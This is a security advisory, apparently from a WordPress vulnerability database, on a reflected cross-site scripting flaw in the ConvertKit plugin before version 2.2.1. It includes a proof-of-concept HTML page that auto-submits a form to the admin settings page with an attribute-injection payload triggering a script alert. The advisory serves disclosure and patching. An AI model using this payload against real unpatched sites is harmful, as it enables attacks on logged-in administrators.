WordPress Plugin Vulnerabilities

ConvertKit < 2.2.1 - Reflected XSS

Description

The plugin does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="http://example.com/wp-admin/options-general.php?page=_wp_convertkit_settings" method="POST">
      <input type="hidden" name="page" value='"style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 2.2.1

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-05-15 (about 1 years ago)
Added
2023-05-15 (about 1 years ago)
Last Updated
2023-05-15 (about 1 years ago)

Other